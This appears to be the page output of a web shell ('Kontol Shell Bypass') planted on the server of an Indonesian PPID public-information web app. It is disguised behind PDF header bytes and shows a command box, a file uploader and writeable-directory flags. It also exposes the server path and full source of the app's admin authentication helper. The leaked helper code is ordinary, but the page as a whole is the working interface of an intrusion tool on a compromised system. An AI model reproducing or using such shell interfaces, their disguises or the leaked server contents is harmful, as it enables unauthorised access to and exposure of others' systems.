%PDF- <> %âãÏÓ endobj 2 0 obj <> endobj 3 0 obj <>/ExtGState<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI] >>/Annots[ 28 0 R 29 0 R] /MediaBox[ 0 0 595.5 842.25] /Contents 4 0 R/Group<>/Tabs/S>> endobj ºaâÚÎΞ-ÌE1ÍØÄ÷{òò2ÿ ÛÖ^ÔÀá TÎ{¦?§®¥kuµù Õ5sLOšuY>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<>endobj 2 0 obj<> endobj 2 0 obj<>endobj 2 0 obj<>es 3 0 R>> endobj 2 0 obj<> ox[ 0.000000 0.000000 609.600000 935.600000]/Fi endobj 3 0 obj<> endobj 7 1 obj<>/ProcSet[/PDF/Text/ImageB/ImageC/ImageI]>>/Subtype/Form>> stream

nadelinn - rinduu

Command :

ikan Uploader :
Directory :  /var/www/new-ppid-app/includes/
Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 
Current File : /var/www/new-ppid-app/includes/auth.php
<?php
/**
 * Helper autentikasi untuk panel admin/CMS.
 */

/**
 * Apakah admin sudah login?
 */
function admin_logged_in(): bool
{
    return !empty($_SESSION['admin']['id']);
}

/**
 * Data admin yang sedang login (atau null).
 *
 * @return array<string, mixed>|null
 */
function current_admin(): ?array
{
    return $_SESSION['admin'] ?? null;
}

/**
 * Wajibkan login admin. Bila belum, redirect ke halaman login.
 */
function require_admin(): void
{
    if (!admin_logged_in()) {
        set_flash('error', 'Silakan masuk terlebih dahulu untuk mengakses halaman tersebut.');
        redirect('admin/login.php');
    }
}

/**
 * Membuat sesi login admin.
 *
 * @param array<string, mixed> $admin
 */
function login_admin(array $admin): void
{
    session_regenerate_id(true);

    // Ambil nama UPD bila user terikat pada sebuah UPD.
    $updNama = null;
    if (!empty($admin['upd_id'])) {
        $stmt = db()->prepare('SELECT nama FROM upd WHERE id = ? LIMIT 1');
        $stmt->execute([(int) $admin['upd_id']]);
        $updNama = $stmt->fetchColumn() ?: null;
    }

    $_SESSION['admin'] = [
        'id'       => (int) $admin['id'],
        'nama'     => $admin['nama'],
        'username' => $admin['username'],
        'email'    => $admin['email'],
        'role'     => $admin['role'],
        'upd_id'   => !empty($admin['upd_id']) ? (int) $admin['upd_id'] : null,
        'upd_nama' => $updNama,
        'foto'     => $admin['foto'] ?? null,
    ];
}

/**
 * Apakah user adalah Super Administrator (akses penuh, termasuk kelola user/UPD)?
 */
function is_superadmin(): bool
{
    return (current_admin()['role'] ?? '') === 'superadmin';
}

/**
 * Apakah user merupakan admin pusat (PPID Utama): superadmin atau admin.
 * Admin pusat mengelola seluruh data lintas UPD.
 */
function is_central(): bool
{
    return in_array(current_admin()['role'] ?? '', ['superadmin', 'admin'], true);
}

/**
 * Apakah user adalah admin UPD (PPID Pembantu) yang di-scope ke satu UPD?
 */
function is_upd_admin(): bool
{
    return (current_admin()['role'] ?? '') === 'upd';
}

/**
 * ID UPD milik user yang sedang login (null bila admin pusat / tidak terikat UPD).
 */
function current_upd_id(): ?int
{
    $u = current_admin();
    return !empty($u['upd_id']) ? (int) $u['upd_id'] : null;
}

/**
 * Nama UPD user yang sedang login (atau null).
 */
function current_upd_nama(): ?string
{
    return current_admin()['upd_nama'] ?? null;
}

/**
 * Wajibkan akses Super Administrator. Bila tidak, tolak akses.
 */
function require_superadmin(): void
{
    require_admin();
    if (!is_superadmin()) {
        http_response_code(403);
        set_flash('error', 'Anda tidak memiliki hak akses untuk halaman tersebut.');
        redirect('admin/index.php');
    }
}

/**
 * Wajibkan akses admin pusat (PPID Utama). Admin UPD ditolak.
 */
function require_central(): void
{
    require_admin();
    if (!is_central()) {
        http_response_code(403);
        set_flash('error', 'Halaman tersebut hanya untuk admin PPID Utama.');
        redirect('admin/index.php');
    }
}

/**
 * Akhiri sesi admin.
 */
function logout_admin(): void
{
    unset($_SESSION['admin']);
    session_regenerate_id(true);
}

/**
 * URL avatar admin (gunakan ui-avatars bila tak ada foto).
 */
function admin_avatar(?array $admin): string
{
    $admin = $admin ?? current_admin();
    if (!empty($admin['foto'])) {
        return UPLOAD_URL . '/avatar/' . $admin['foto'];
    }
    $nama = urlencode($admin['nama'] ?? 'Admin');
    return "https://ui-avatars.com/api/?name={$nama}&background=15803d&color=fff";
}

/**
 * Label role yang ramah dibaca.
 */
function role_label(string $role): string
{
    return match ($role) {
        'superadmin'  => 'Super Administrator',
        'admin'       => 'Administrator',
        'upd'         => 'Admin UPD',
        'verifikator' => 'Verifikator',
        default       => ucfirst($role),
    };
}

Kontol Shell Bypass